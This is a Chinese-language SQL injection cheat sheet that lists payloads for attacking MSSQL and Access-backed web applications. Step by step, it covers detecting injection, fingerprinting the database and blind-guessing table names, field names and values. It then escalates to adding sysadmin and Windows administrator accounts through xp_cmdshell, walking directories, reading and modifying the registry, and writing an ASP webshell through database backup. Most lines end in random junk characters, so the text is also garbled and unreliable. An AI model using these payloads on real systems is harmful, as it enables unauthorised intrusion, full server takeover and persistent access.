1.判断是否有注入;and 1=1 ;and 1=2 ^&;,n.X5Z
2.初步判断是否是mssql ;and user>0 z};|.N}
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3.注入参数是字符'and [查询条件] and ''=' -53c0g@X
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' ~i1
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5.判断数据库系统 Qb
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;and (select count(*) from sysobjects)>0 mssql - +a,Ej
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;and (select count(*) from msysobjects)>0 access "~VKUvDu
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 ndFVP;q
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 1tY+0R
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 g%J\YRo
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9.(1)猜字段的ascii值(access) =Htt'""DN
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 GJdL1ptc
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10.测试权限结构(mssql) 6?xF!VIL
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- #e.x]v:
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 3^P;mQ$p1
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 8Y-*rpLy
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Z,p@toj'
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- o~'p&f
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- a =W%x{
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;and 1=(select IS_MEMBER('db_owner'));--
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11.添加mssql和系统的帐户 %KVmpWku
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;exec master.dbo.sp_addlogin username;-- JFI*Pt;X9
;exec master.dbo.sp_password null,username,password;-- sPc}hG+N
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ktPM66`b
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;exec master.dbo.xp_cmdshell 'net user username password } J?,?>Z
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- /*;a6S8q
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- TfJ*G6\7e#
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12.(1)遍历目录 7:g_:}m
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;create table dirs(paths varchar(100), id int) LL);Ym9d
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;insert dirs exec master.dbo.xp_dirtree 'c:\' !e<5JO;c
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;and (select top 1 paths from dirs)>0 W;8A{3q%N0
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) iOfO+3'Z_U
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- YFu>`w^Y
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ]gX8z#*k
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 /$clk=
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 y=pW+$k
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Wgs6}1bg
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13.mssql中的存储过程 n CwA8AG
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xp_regenumvalues 注册表根键, 子键 '4 d4i
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 `3jwjy|5
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xp_regread 根键,子键,键值名 .Y2Hd$rs
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ,d*1|oUw
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xp_regwrite 根键,子键, 值名, 值类型, 值 oj.J;[-
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Ohj^Z&j
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xp_regdeletevalue 根键,子键,值名 EdqB4-#7
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 pRh9+1EM;
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 MCTJ^ g"D
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14.mssql的backup创建webshell 1!V[fPJ
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create table cmd(str image); r[^.\&-
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insert into cmd(str) values (''); \VEnP=*:W
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backup database model to disk='c:\l.asp'; \>*.+?97
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15.mssql内置函数 z
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;and (select @@version)>0 获得Windows的版本号 d3\?:}o,
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa _(?`eWo
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;and (select user_name())>0 爆当前系统的连接用户 _#v"sGmN
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;and (select db_name())>0 得到当前连接的数据库 'bLP#TAzf
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16.简洁的webshell OO?N)IB@
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create table cmd(str image); nu+^D$ait
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insert into cmd(str) values (''); |xZu?)M4
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backup database model to disk='g:\wwwtest\l.asp';